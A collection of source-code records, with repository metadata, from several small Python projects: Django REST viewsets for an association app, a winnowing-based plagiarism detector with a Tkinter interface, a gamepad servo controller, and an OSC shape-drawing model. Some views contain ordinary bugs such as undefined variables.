"0ff9de6d5fe50febd2d7ce8e25a0c4db6d937c39", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 766, "license_type": "no_license", "max_line_length": 64, "num_lines": 28, "path": "/americas_service/americas_service_apps/asociacion_api/views/socio.py", "repo_name": "ADS2-20162/A-Soft", "src_encoding": "UTF-8", "text": "from rest_framework import viewsets\n# from django.db.models import Q\n# from operator import __or__ as OR\n# from functools import reduce\n\nfrom ..serializers.socio import SocioSerializer\nfrom americas_service_apps.asociacion.models.socio import Socio\n\n\nclass SocioViewSet(viewsets.ModelViewSet):\n \"\"\"\n Description: Model Description\n \"\"\"\n queryset = Socio.objects.all()\n serializer_class = SocioSerializer\n\n def get_queryset(self):\n try:\n person = self.request.GET.get('person')\n if person:\n queryset = Socio.objects.filter(person__id=item)\n else:\n queryset = Socio.objects.all()\n\n except Exception as e:\n queryset = Socio.objects.all()\n\n return queryset\n" }, { "alpha_fraction": 0.8148148059844971, "alphanum_fraction": 0.8148148059844971, "avg_line_length": 32.75, "blob_id": "38790fe0d3eb51ee634c43e23b4835798dac4af3", "content_id": "c7fbe818cf512e973b19cc7458dd4f3574d3e1c5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 270, "license_type": "no_license", "max_line_length": 61, "num_lines": 8, "path": "/americas_service/americas_service_apps/eventos_api/views/evento.py", "repo_name": "ADS2-20162/A-Soft", "src_encoding": "UTF-8", "text": "from rest_framework import viewsets\nfrom americas_service_apps.evento.models.evento import Evento\nfrom ..serializers.evento import EventoSerializer\n\n\nclass EventoViewSet(viewsets.ModelViewSet):\n queryset = Evento.objects.all()\n serializer_class = EventoSerializer\n" }, { "alpha_fraction": 0.8322147727012634, "alphanum_fraction": 0.8322147727012634, "avg_line_length": 36.25, "blob_id": "5b5f578809ccdf9b3b10b96bd7291cf30b398a5d", "content_id": "5c391307082cb5c8f47aaad01d3f06199da923b1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 298, "license_type": "no_license", "max_line_length": 69, "num_lines": 8, "path": "/americas_service/americas_service_apps/eventos_api/views/asistencia.py", "repo_name": "ADS2-20162/A-Soft", "src_encoding": "UTF-8", "text": "from rest_framework import viewsets\nfrom americas_service_apps.evento.models.asistencia import Asistencia\nfrom ..serializers.asistencia import AsistenciaSerializer\n\n\nclass AsistenciaViewSet(viewsets.ModelViewSet):\n queryset = Asistencia.objects.all()\n serializer_class = AsistenciaSerializer\n" }, { "alpha_fraction": 0.7402597665786743, "alphanum_fraction": 0.7402597665786743, "avg_line_length": 24.66666603088379, "blob_id": "47d9bf49b036d9e3d604392cd7a22a460d3093d9", "content_id": "523fa593c21a44013df1cbf8ea41dbbd3fa81655", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 231, "license_type": "no_license", "max_line_length": 67, "num_lines": 9, "path": "/americas_service/americas_service_apps/asociacion_api/serializers/manzana.py", "repo_name": "ADS2-20162/A-Soft", "src_encoding": "UTF-8", "text": "from rest_framework import serializers\nfrom americas_service_apps.asociacion.models.manzana import Manzana\n\n\nclass ManzanaSerializer(serializers.ModelSerializer):\n\n class Meta:\n model = Manzana\n fields = '__all__'\n" }, { "alpha_fraction": 0.6452036499977112, "alphanum_fraction": 0.6452036499977112, "avg_line_length": 26.178571701049805, "blob_id": "5189da6e85bb017878d96e3c8e6e7d5551a33532", "content_id": "d45c133c2a55e5002acd2b09dee2abb66b953fab", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 761, "license_type": "no_license", "max_line_length": 64, "num_lines": 28, "path": "/americas_service/americas_service_apps/asociacion_api/views/lote.py", "repo_name": "ADS2-20162/A-Soft", "src_encoding": "UTF-8", "text": "from rest_framework import viewsets\n# from django.db.models import Q\n# from operator import __or__ as OR\n# from functools import reduce\n\nfrom ..serializers.lote import LoteSerializer\nfrom americas_service_apps.asociacion.models.lote import Lote\n\n\nclass LoteViewSet(viewsets.ModelViewSet):\n \"\"\"\n Description: Model Description\n \"\"\"\n queryset = Lote.objects.all()\n serializer_class = LoteSerializer\n\n def get_queryset(self):\n try:\n manzana = self.request.GET.get('manazana')\n if manzana:\n queryset = Lote.objects.filter(manzana__id=item)\n else:\n queryset = Lote.objects.all()\n\n except Exception as e:\n queryset = Lote.objects.all()\n\n return queryset\n" }, { "alpha_fraction": 0.7551020383834839, "alphanum_fraction": 0.7551020383834839, "avg_line_length": 28.399999618530273, "blob_id": "6e8d699de778947851558446fc596892d81df175", "content_id": "d7a06dbf379151ee56c5b80105eed604d1e58cee", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 294, "license_type": "no_license", "max_line_length": 70, "num_lines": 10, "path": "/americas_service/americas_service_apps/asociacion_api/serializers/socio.py", "repo_name": "ADS2-20162/A-Soft", "src_encoding": "UTF-8", "text": "from rest_framework import serializers\nfrom americas_service_apps.asociacion.models.socio import Socio\n# from americas_service_apps.auths.choices.enums import GENDER_CHOICES\n\n\nclass SocioSerializer(serializers.ModelSerializer):\n\n class Meta:\n model = Socio\n fields = '__all__'\n" }, { "alpha_fraction": 0.813144326210022, "alphanum_fraction": 0.813144326210022, "avg_line_length": 31.33333396911621, "blob_id": "b0c4eb25ec181a941066d0fc994318a52f6c2f19", "content_id": "d4a5fc69b7d0191c8e2d431a235aef8641b05e0c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 776, "license_type": "no_license", "max_line_length": 49, "num_lines": 24, "path": "/americas_service/americas_service_apps/asociacion_api/urls.py", "repo_name": "ADS2-20162/A-Soft", "src_encoding": "UTF-8", "text": "from django.conf.urls import url, include\nfrom rest_framework import routers\n\nfrom .views.asociacion import AsociacionViewSet\nfrom .views.banco import CuentaBancoViewSet\nfrom .views.person import PersonViewSet\nfrom .views.manzana import ManzanaViewSet\nfrom .views.lote import LoteViewSet\nfrom .views.socio import SocioViewSet\nfrom .views.socio_lote import SocioLoteViewSet\n\nrouter = routers.DefaultRouter()\n\nrouter.register(r'asociacion', AsociacionViewSet)\nrouter.register(r'banco', CuentaBancoViewSet)\nrouter.register(r'persons', PersonViewSet)\nrouter.register(r'manzanas', ManzanaViewSet)\nrouter.register(r'lotes', LoteViewSet)\nrouter.register(r'socios', SocioViewSet)\nrouter.register(r'socioLotes', SocioLoteViewSet)\n\nurlpatterns = [\n url(r'^', include(router.urls))\n]\n" }, { "alpha_fraction": 0.7260273694992065, "alphanum_fraction": 0.7260273694992065, "avg_line_length": 23.33333396911621, "blob_id": "b110fbcb1b790a3887217c39365a8624966c328b", "content_id": "bab0f87d8e45aab909ef5137b3c869a2aad20ceb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 219, "license_type": "no_license", "max_line_length": 61, "num_lines": 9, "path": "/americas_service/americas_service_apps/asociacion_api/serializers/lote.py", "repo_name": "ADS2-20162/A-Soft", "src_encoding": "UTF-8", "text": "from rest_framework import serializers\nfrom americas_service_apps.asociacion.models.lote import Lote\n\n\nclass LoteSerializer(serializers.ModelSerializer):\n\n class Meta:\n model = Lote\n fields = '__all__'\n" }, { "alpha_fraction": 0.6590456962585449, "alphanum_fraction": 0.6590456962585449, "avg_line_length": 30.4375, "blob_id": "1d58deb62c288d6f6ef4f14aec06122d4fc6555f", "content_id": "a624ad56626d6beba9e6d8e96c91c674aaefffa5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1006, "license_type": "no_license", "max_line_length": 72, "num_lines": 32, "path": "/americas_service/americas_service_apps/asociacion_api/views/socio_lote.py", "repo_name": "ADS2-20162/A-Soft", "src_encoding": "UTF-8", "text": "from rest_framework import viewsets\n# from django.db.models import Q\n# from operator import __or__ as OR\n# from functools import reduce\n\nfrom ..serializers.socio_lote import SocioLoteSerializer\nfrom americas_service_apps.asociacion.models.socio_lote import SocioLote\nfrom americas_service_apps.asociacion.models.lote import Lote\n\n\nclass SocioLoteViewSet(viewsets.ModelViewSet):\n \"\"\"\n Description: Model Description\n \"\"\"\n queryset = SocioLote.objects.all()\n queryset = Lote.objects.all()\n serializer_class = SocioLoteSerializer\n\n def get_queryset(self):\n try:\n socio = self.request.GET.get('socio')\n lote = self.request.GET.get('lote')\n if socio:\n queryset = Socio.objects.filter(socio__id=item)\n queryset = Lote.objects.filter(lote__id=item)\n else:\n queryset = SocioLote.objects.all()\n\n except Exception as e:\n queryset = SocioLote.objects.all()\n\n return queryset\n" }, { "alpha_fraction": 0.8045112490653992, "alphanum_fraction": 0.8045112490653992, "avg_line_length": 30.294116973876953, "blob_id": "354c3e52177f5ae90afcc09038efa7f287da2478", "content_id": "17e0a339e4d657a3ca39c91720b89ca3dd40f84a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 532, "license_type": "no_license", "max_line_length": 68, "num_lines": 17, "path": "/americas_service/americas_service_apps/asociacion_api/views/person.py", "repo_name": "ADS2-20162/A-Soft", "src_encoding": "UTF-8", "text": "from rest_framework.response import Response\nfrom rest_framework.views import APIView\nfrom rest_framework import viewsets\nfrom americas_service_apps.auths.choices.enums import GENDER_CHOICES\nfrom americas_service_apps.auths.models.person import Person\nfrom ..serializers.person import PersonSerializer\n\n\nclass GenderChoicesViewSet(APIView):\n\n def get(self, request):\n return Response(GENDER_CHOICES)\n\n\nclass PersonViewSet(viewsets.ModelViewSet):\n queryset = Person.objects.all()\n serializer_class = PersonSerializer\n" } ]
12
qfolkner/RDL-Robot-Code
https://github.com/qfolkner/RDL-Robot-Code
487a92d7b68283acc5afd3725f75a8aba37f3b23
115613ead3224c671d7d6baa7dda94c648836b50
189b91346fce9cea39ced9b7607329f094b7fbeb
refs/heads/master
2020-12-26T13:58:19.882619
2020-01-31T23:03:06
2020-01-31T23:03:06
237,530,982
2
0
null
null
null
null
null
[ { "alpha_fraction": 0.5626598596572876, "alphanum_fraction": 0.6027280688285828, "avg_line_length": 19.241378784179688, "blob_id": "01e70ad383922e97009f536c933ac1c66ec46d47", "content_id": "b10c3958032b8e3384a36b5942cf6b71a2814f23", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1173, "license_type": "no_license", "max_line_length": 49, "num_lines": 58, "path": "/servoGOOD.py", "repo_name": "qfolkner/RDL-Robot-Code", "src_encoding": "UTF-8", "text": "from __future__ import division\nimport time\nimport pygame\nfrom adafruit_servokit import ServoKit\npygame.init()\n\n\n\npwm = ServoKit(channels=16)\nleftstick = 0.07\nrightstick = 0.07\nliftUP = 0.00\nliftDOWN = 0.00\nprint('Initialized')\n\n\ngamepad = pygame.joystick.Joystick(0)\ngamepad.init()\n\nwhile True:\n \n pygame.event.get()\n \n if abs(gamepad.get_axis(1)) <= 0.1:\n leftstick = 0.1\n \n elif abs(gamepad.get_axis(4)) <= 0.1:\n rightstick = 0.1\n \n elif abs(gamepad.get_button(3)) <= 0.1:\n liftUP = 0.1\n \n elif abs(gamepad.get_button(0)) <= 0.1:\n liftDOWN = 0.1\n \n \n leftstick = gamepad.get_axis(1)\n rightstick = gamepad.get_axis(4)\n liftUP = gamepad.get_button(3)\n liftDOWN = -gamepad.get_button(0)\n \n \n pwm.continuous_servo[1].throttle = leftstick\n pwm.continuous_servo[4].throttle = rightstick\n pwm.continuous_servo[11].throttle = liftUP\n pwm.continuous_servo[11].throttle = liftDOWN\n \n print(\"rightstick: \", rightstick)\n \n print(\"leftstick: \", leftstick)\n \n print(\"lift: \", liftUP)\n \n print(\"lift: \", liftDOWN)\n \n \n #axis 0 = A\n #axis 3 = Y" }, { "alpha_fraction": 0.75, "alphanum_fraction": 0.75, "avg_line_length": 16, "blob_id": "58bd44d9dd7152480e10d5c572e304c1e7697dc2", "content_id": "ecb0bf7fcfeb3d11715cd624f1aad0cea59e50b1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 16, "license_type": "no_license", "max_line_length": 16, "num_lines": 1, "path": "/README.md", "repo_name": "qfolkner/RDL-Robot-Code", "src_encoding": "UTF-8", "text": "# RDL-Robot-Code" } ]
2
FazilovDev/GraduateWork
https://github.com/FazilovDev/GraduateWork
7535b6dcea84dbc978f14d1afaf6dc41fb8cdc5f
c93bec6d05306340fd5992c9378eaa611d23664a
c010c923ec648f37397f336a44e0b2b666e87704
refs/heads/main
2023-01-12T00:21:18.192172
2020-11-23T19:28:12
2020-11-23T19:28:12
313,981,812
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5464544892311096, "alphanum_fraction": 0.5759419798851013, "avg_line_length": 37.85454559326172, "blob_id": "ebbf912c0c6cebed0971575bdd3fbd2b7c4640bf", "content_id": "5a814848af5a8d9beddf11eb8bb6c278e93c7b49", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4390, "license_type": "no_license", "max_line_length": 207, "num_lines": 110, "path": "/main.py", "repo_name": "FazilovDev/GraduateWork", "src_encoding": "UTF-8", "text": "from Algorithms.Winnowing import get_fingerprints, get_text_from_file\nfrom tkinter import *\nfrom tkinter import filedialog as fd\nimport locale\n\nk = 15\nq = 259#259\nw = 4\n\nclass PlagiarismDetect(Frame):\n\n def __init__(self, parent):\n Frame.__init__(self, parent, background=\"white\")\n\n self.parent = parent\n self.width = self.winfo_screenwidth()\n self.height = self.winfo_screenheight()\n\n self.parent.title(\"DetectPlagiarismMoss\")\n self.pack(fill=BOTH, expand=True)\n\n self.file1 = 'file1'\n self.file2 = 'file2'\n\n self.create_main_menu()\n\n def choice_f1(self):\n self.file1 = fd.askopenfilename(defaultextension='.cpp', filetypes=[('CPP', '.cpp'),('TXT', '.txt'), ('Py', '.py')])\n self.text_info_menu['text'] = \"Загрузите\\n {}\\n {}:\".format(self.file1, self.file2)\n \n def choice_f2(self):\n self.file2 = fd.askopenfilename(defaultextension='.cpp', filetypes=[('CPP', '.cpp'),('TXT', '.txt'),('Py', '.py')]) \n self.text_info_menu['text'] = \"Загрузите\\n {}\\n {}:\".format(self.file1, self.file2)\n \n def print_file1(self,text, points, side):\n newCode = text[: points[0][0]]\n if side == 0:\n textfield = self.text1\n else:\n textfield = self.text2\n textfield.insert('end', newCode)\n plagCount = 0\n for i in range(len(points)):\n if points[i][1] > points[i][0]:\n plagCount += points[i][1] - points[i][0]\n newCode = newCode + text[points[i][0] : points[i][1]]\n textfield.insert('end', text[points[i][0] : points[i][1]], 'warning')\n if i < len(points) - 1:\n newCode = newCode + text[points[i][1] : points[i+1][0]]\n textfield.insert('end', text[points[i][1] : points[i+1][0]])\n else:\n newCode = newCode + text[points[i][1] :]\n textfield.insert('end', text[points[i][1] :])\n return plagCount / len(text)\n\n def analyze(self):\n self.text1.tag_config('warning', background=\"orange\",)\n self.text2.tag_config('warning', background=\"orange\")\n text1 = get_text_from_file(self.file1)\n text2 = get_text_from_file(self.file2)\n\n mergedPoints = get_fingerprints(self.file1, self.file2, k, q, w)\n res = self.print_file1(text1, mergedPoints[0], 0)\n res1 = self.print_file1(text2, mergedPoints[1], 1)\n self.text_plagiarism['text'] = \"Уникальность файла: {} : {}%\\nУникальность файла: {} : {}%\".format(self.file1.split('/')[-1::][0], int((1-res)*100), self.file2.split('/')[-1::][0], int((1-res1)*100))\n\n\n\n def create_main_menu(self):\n frame1 = Frame(self)\n frame1.pack(fill=X)\n frame1.config(bg=\"white\")\n self.text_info_menu = Label(frame1, text=\"Загрузите \\n{} \\n{}:\".format(self.file1, self.file2), font=(\"Arial Bold\", 20))\n self.text_info_menu.config(bg=\"white\")\n self.text_info_menu.pack()\n\n self.text_plagiarism = Label(frame1, text=\"Уникальность файла: {} : {}%\\nУникальность файла: {} : {}%\".format(\"\",0, \"\", 0), font=(\"Arial Bold\", 20))\n self.text_plagiarism.config(bg=\"white\")\n self.text_plagiarism.pack()\n choice_file2 = Button(frame1, text=\"Файл №2\", command=self.choice_f2)\n choice_file2.pack(side=RIGHT, expand=True)\n choice_file1 = Button(frame1, text=\"Файл №1\", command=self.choice_f1)\n choice_file1.pack(side=RIGHT, expand=True)\n \n frame2 = Frame(self)\n frame2.pack(fill=X)\n frame2.config(bg=\"white\")\n analyze = Button(frame2, text=\"Обработать\", command=self.analyze)\n analyze.pack()\n\n frame3 = Frame(self)\n frame3.pack(fill=X)\n frame3.config(bg=\"white\")\n self.text1 = Text(frame3, width=int(100), height=int(100))\n self.text1.pack(side=LEFT)\n self.text2 = Text(frame3, width=int(100), height=int(100))\n self.text2.pack(side=LEFT)\n\n\n\n \ndef main():\n locale.setlocale(locale.LC_ALL, 'ru_RU.UTF8')\n root = Tk()\n root.geometry(\"{}x{}\".format(root.winfo_screenwidth(), root.winfo_screenheight()))\n app = PlagiarismDetect(root)\n root.mainloop()\n\nif __name__ == '__main__':\n main()" }, { "alpha_fraction": 0.8404908180236816, "alphanum_fraction": 0.8466257452964783, "avg_line_length": 81, "blob_id": "d28a556fd5211a0584b3b993fb98c1f27e7a2834", "content_id": "a769095726180d3f84ceda39703b3c29f4321e49", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 300, "license_type": "no_license", "max_line_length": 89, "num_lines": 2, "path": "/README.md", "repo_name": "FazilovDev/GraduateWork", "src_encoding": "UTF-8", "text": "# Разработка системы поиска заимствований в текстах программ на основе комбинации методов\n## 1. Реализация поиска заимствований с помощью метода отпечатков пальцев" }, { "alpha_fraction": 0.5173974633216858, "alphanum_fraction": 0.5391796231269836, "avg_line_length": 26.826770782470703, "blob_id": "2ec71a246e8f5ba8a11f060394e6deea1d0284b4", "content_id": "dc149a15f8b92ce4afbaf00103d3f25d5283b0e2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3535, "license_type": "no_license", "max_line_length": 66, "num_lines": 127, "path": "/Algorithms/Winnowing.py", "repo_name": "FazilovDev/GraduateWork", "src_encoding": "UTF-8", "text": "from Preprocessing.cleantext import *\n\nclass Gram:\n def __init__(self, text, hash_gram, start_pos, end_pos):\n self.text = text\n self.hash = hash_gram\n self.start_pos = start_pos\n self.end_pos = end_pos\n\n\ndef get_text_from_file(filename):\n with open(filename, 'r') as f:\n text = f.read().lower()\n return text\n\ndef get_text_processing(text):\n stop_symbols = [' ', ',']\n return ''.join(j for j in text if not j in stop_symbols)\n\ndef get_hash_from_gram(gram, q):\n h = 0\n k = len(gram)\n for char in gram:\n x = int(ord(char)-ord('a') + 1)\n h = (h * k + x) % q\n return h\n\ndef get_k_grams_from_text(text, k = 25, q = 31):\n grams = []\n for i in range(0, len(text)-k+1):\n hash_gram = get_hash_from_gram(text[i:i+k], q)\n gram = Gram(text[i:i+k], hash_gram, i, i+k)\n grams.append(gram)\n return grams\n\n\ndef get_hashes_from_grams(grams):\n hashes = []\n for gram in grams:\n hashes.append(gram.hash)\n return hashes\n\ndef min_index(window):\n min_ = window[0]\n min_i = 0\n for i in range(len(window)):\n if window[i] < min_:\n min_ = window[i]\n min_i = i\n return min_i\n\ndef winnow(hashes, w):\n n = len(hashes)\n prints = []\n windows = []\n prev_min = 0\n current_min = 0\n for i in range(n - w):\n window = hashes[i:i+w]\n windows.append(window)\n current_min = i + min_index(window)\n if not current_min == prev_min:\n prints.append(hashes[current_min])\n prev_min = current_min\n return prints\n\ndef get_points(fp1, fp2, token, hashes, grams):\n points = []\n for i in fp1:\n for j in fp2:\n if i == j:\n flag = 0\n startx = endx = None\n match = hashes.index(i)\n newStart = grams[match].start_pos\n newEnd = grams[match].end_pos\n\n for k in token:\n if k[2] == newStart: \n startx = k[1]\n flag = 1\n if k[2] == newEnd:\n endx = k[1]\n if flag == 1 and endx != None:\n points.append([startx, endx])\n points.sort(key = lambda x: x[0])\n points = points[1:]\n return points\n\ndef get_merged_points(points):\n mergedPoints = []\n mergedPoints.append(points[0])\n for i in range(1, len(points)):\n last = mergedPoints[len(mergedPoints) - 1]\n if points[i][0] >= last[0] and points[i][0] <= last[1]:\n if points[i][1] > last[1]:\n mergedPoints = mergedPoints[: len(mergedPoints)-1]\n mergedPoints.append([last[0], points[i][1]])\n else:\n pass\n else:\n mergedPoints.append(points[i])\n return mergedPoints\n\ndef get_fingerprints(file1, file2, k, q, w):\n\n token1 = tokenize(file1)\n token2 = tokenize(file2)\n\n text1proc = toText(token1)\n text2proc = toText(token2)\n\n grams1 = get_k_grams_from_text(text1proc, k, q)\n grams2 = get_k_grams_from_text(text2proc, k, q)\n\n hashes1 = get_hashes_from_grams(grams1)\n hashes2 = get_hashes_from_grams(grams2)\n\n fp1 = winnow(hashes1, w)\n fp2 = winnow(hashes2, w)\n\n points1 = get_points(fp1, fp2, token1, hashes1, grams1)\n points2 = get_points(fp1, fp2, token2, hashes2, grams2)\n \n merged_points1 = get_merged_points(points1)\n merged_points2 = get_merged_points(points2)\n return (merged_points1, merged_points2)\n\n" } ]
3
sonir/vsyn_model
https://github.com/sonir/vsyn_model
c151cd3e8156bc7fc0521c0d52c1e6ddf7b8e62c
9ef58f1b22b50cb89ed01099d61535bb3edb5568
38f4b651ebcf4b9077acd559c22c1f75c4e6d939
refs/heads/master
2021-06-26T07:46:39.487281
2017-09-13T17:06:17
2017-09-13T17:06:17
103,424,357
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5499850511550903, "alphanum_fraction": 0.5866905450820923, "avg_line_length": 25.808000564575195, "blob_id": "5f67e8057a2b082d9df37db0adf791bc2871758f", "content_id": "4956dfda8f37174466213c5314478c1d6100640c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3351, "license_type": "no_license", "max_line_length": 135, "num_lines": 125, "path": "/_main.py", "repo_name": "sonir/vsyn_model", "src_encoding": "UTF-8", "text": "# if you want to use this library from outside of sonilab folder, should import as follows,\n# from sonilab import sl_metro, sl_osc_send, osc_receive, event\n# enjoy !!\n\nimport random\nfrom sonilab import sl_metro, sl_osc_send, osc_receive, event\nimport shapes, shape, send_all\n\nmetro = sl_metro.Metro(0.016)\nmetro2 = sl_metro.Metro(0.5)\nsender = sl_osc_send.slOscSend(\"127.0.0.1\" , 57137)\nreceiver = osc_receive.OscReceive(57138)\n\nball_posi_a = 0.1\nball_posi_b = 0.9\nball_speed = 0.5\n\n\ndef osc_received (vals):\n print \"OSC RECEIVED :: arg[0] = \" + str(vals[0]) + \" | arg[1] = \" + str(vals[1])\n\n\n\ndef send(adr, vals):\n sender.send(adr, vals)\n\nevent.add(\"/test\" , osc_received)\nevent.add(\"/send\" , send)\nreceiver.setup(\"/foo\")\n\n\n\ndef init():\n global ball_posi_a, ball_posi_b\n #Make Primitives\n node1 = shape.Shape(\"/circle\" , \"node1\") #set shape_type tag and unique name\n node1.set(\"x1\" , ball_posi_a)\n node1.set(\"y1\" , 0.5)\n node1.set(\"size\" , 0.005)\n node1.set(\"fill\" , 0)\n shapes.add(node1.name , node1)\n\n node2 = shape.Shape(\"/circle\" , \"node2\") #set shape_type tag and unique name\n node2.set(\"x1\" , ball_posi_b)\n node2.set(\"y1\" , 0.5)\n node2.set(\"size\" , 0.005)\n node2.set(\"fill\" , 0)\n shapes.add(node2.name , node2)\n\n ball = shape.Shape(\"/circle\" , \"ball\") #set shape_type tag and unique name\n ball.set(\"x1\" , ball_posi_a)\n ball.set(\"y1\" , 0.5)\n ball.set(\"size\" , 0.005)\n ball.set(\"fill\" , 1)\n shapes.add(ball.name , ball)\n\n arc = shape.Shape(\"/arc\" , \"arc\") #set shape_type tag and unique name\n arc.set(\"x1\" , ball_posi_a)\n arc.set(\"y1\" , 0.5)\n arc.set(\"x2\" , ball_posi_b)\n arc.set(\"y2\" , 0.5)\n arc.set(\"height\", 0.3)\n shapes.add(arc.name , arc)\n\n wave = shape.Shape(\"/wave\", \"wave\")\n wave.set(\"x1\" , ball_posi_a)\n wave.set(\"y1\" , 0.5)\n wave.set(\"x2\" , ball_posi_b)\n wave.set(\"y2\" , 0.5)\n wave.set(\"height\", 0.3)\n wave.set(\"freq\" , 4.0)\n wave.set(\"phase\", 0.0)\n shapes.add(wave.name , wave)\n\n\n\ndef get_primitive(name):\n tmp = shapes.get_primitive(name)\n return tmp[1] #<- shapes.get_primitive returns a tupple. It includes the shape_tag(same as osc_address) and the list of parameters.\n\n\ndef move_ball():\n print \"move_ball\"\n global ball_posi_a, ball_posi_b, ball_speed\n ball = shapes.get(\"ball\")\n arc = shapes.get(\"arc\")\n wave = shapes.get(\"wave\")\n ball_x = ball.get('x1')\n print ball_x\n if ball_x == ball_posi_a:\n print \"A\"\n ball.set(\"x1\" , ball_posi_b, ball_speed)\n arc.set(\"height\", 0.3, ball_speed)\n wave.set(\"freq\", 7.0, ball_speed)\n elif ball_x == ball_posi_b:\n print \"B\"\n ball.set(\"x1\" , ball_posi_a, ball_speed)\n arc.set(\"height\", -0.3, ball_speed)\n wave.set(\"freq\", 2.0, ball_speed)\n\n\ndef draw():\n dic = shapes.get_all()\n send_all.run(dic)\n\n\n\ntry :\n #INIT all objects\n init()\n prim = None\n\n #Start Loop\n while True:\n if metro.update():\n draw()\n if metro2.update(): #write code to execute every 1 sec\n prim = get_primitive(\"ball\")\n print \"x1 = \" , prim[1] , \" : y1 = \" , prim[2]\n if random.randint(0,1) == 1:\n move_ball() #move ball with 50 percent rate in each round\n\n\nexcept KeyboardInterrupt :\n receiver.terminate()\n" }, { "alpha_fraction": 0.582524299621582, "alphanum_fraction": 0.5922330021858215, "avg_line_length": 14.185185432434082, "blob_id": "400aaadfe983243a4cecbdae327de56bc84ee756", "content_id": "aedb0810dfb1d24ccefc38b855da336370058320", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 412, "license_type": "no_license", "max_line_length": 68, "num_lines": 27, "path": "/ref/interpolation.cpp", "repo_name": "sonir/vsyn_model", "src_encoding": "UTF-8", "text": "\n\t#include \"Interpolation.h\"\n\n\tInterpolation::Interpolation(){\n\n\t\tstep_count = 0;\n random_scale = 0.3;\n\n\t}\n\n\tvoid Interpolation::init(float got_st, float got_ed, int got_step){\n\n\t\tst = got_st;\n\t\ted = got_ed;\n\t\tstep = got_step;\n step_count = 0;\n\n\t}\n\n\tfloat Interpolation::update(){\n\n\t\tif(step_count>=step) return now;\n\n\t\tstep_count++;\n\t\tnow = st + ( ((ed-st)/step) * step_count );\n\t\treturn now;\n\n\t}\n" }, { "alpha_fraction": 0.5562451481819153, "alphanum_fraction": 0.565554678440094, "avg_line_length": 17.371429443359375, "blob_id": "8d53fe4c4e62f77976df658ea189969ecb62e8d1", "content_id": "5b750f9c35c366f831b743f5f38f51202e2322d1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1289, "license_type": "no_license", "max_line_length": 54, "num_lines": 70, "path": "/shapes.py", "repo_name": "sonir/vsyn_model", "src_encoding": "UTF-8", "text": "import threading\nfrom sonilab import event\nimport shape\n\n\"\"\"\nShapes treats array of shape.\n\"\"\"\n\nLOCK = threading.Lock()\ndata = {}\ncount = 0\n\ndef add(name, obj):\n global LOCK , count\n with LOCK:\n data[name]=(count , obj)\n count += 1\n\n\n\ndef get_primitive(name):\n tuple_uid_and_obj = data[name]\n uid = tuple_uid_and_obj[0]\n obj = tuple_uid_and_obj[1]\n\n tuple_address_and_params = obj.get_primitive()\n adr = tuple_address_and_params[0]\n params = tuple_address_and_params[1]\n params.insert(0, uid)\n return (adr,params)\n\n\n\ndef get_all():\n container = []\n for elm in data:\n tmp = data[elm]\n container.append( get_primitive(tmp[1].name) )\n return container\n\n\n\ndef get(name):\n tuple_uid_and_obj = data[name]\n return tuple_uid_and_obj[1]\n\n\n\ndef set(name, variable, *args):\n if args:\n tuple_uid_and_obj = data[name]\n obj = tuple_uid_and_obj[1]\n obj.set(variable, *args)\n\n\n\ndef print_all():\n print \"--- [shapes : print_all() ] ---\"\n for elm in data:\n tmp = data[elm]\n obj = tmp[1]\n tmp = obj.get_primitive()\n params = tmp[1]\n print elm , obj\n for param in params:\n print param ,\n\n print \"\\n--\"\n\n print \"--- [print_all() : end] ---\"\n\n\n\n" }, { "alpha_fraction": 0.514419674873352, "alphanum_fraction": 0.5369284749031067, "avg_line_length": 38.38888931274414, "blob_id": "5348d3e3270c564c130eaf41a58b153577a6fc2e", "content_id": "493eb880f55dfaa6261385cba7922f06184a01f1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4265, "license_type": "no_license", "max_line_length": 182, "num_lines": 108, "path": "/shape.py", "repo_name": "sonir/vsyn_model", "src_encoding": "UTF-8", "text": "from sonilab import timed_interpolation\nclass Shape:\n \"\"\" Shape Class \"\"\"\n\n def __init__(self, type, name):\n\n \"\"\"\n To instanciate, you should set two argments.\n The one is type. Type means the shape type. It is also used as address for OSC Message.\n The types are /circle, /triangle, /square, /rect, /line, /arc, /wave etc.\n\n The second is name. It is unique name for each shape object.\n However, the uniquness of the name must be proofed by user.\n \"\"\"\n\n self.uid = 0\n self.type = type\n self.name = name\n self.active = 0\n self._x1 = timed_interpolation.TimedInterpolation()\n self._x1.set(0.5, 0.0)\n self._y1 = timed_interpolation.TimedInterpolation()\n self._y1.set(0.5, 0.0)\n self._x2 = timed_interpolation.TimedInterpolation()\n self._x2.set(0.5, 0.0)\n self._y2 = timed_interpolation.TimedInterpolation()\n self._y2.set(0.5, 0.0)\n\n self._size = timed_interpolation.TimedInterpolation()\n self._size.set(0.137, 0.0)\n self._height = timed_interpolation.TimedInterpolation()\n self._height.set(0.137, 0.0)\n self._angle = timed_interpolation.TimedInterpolation()\n self._angle.set(0.137, 0.0)\n self._freq = timed_interpolation.TimedInterpolation()\n self._freq.set(0.137, 0.0)\n self._amp = timed_interpolation.TimedInterpolation()\n self._amp.set(0.137, 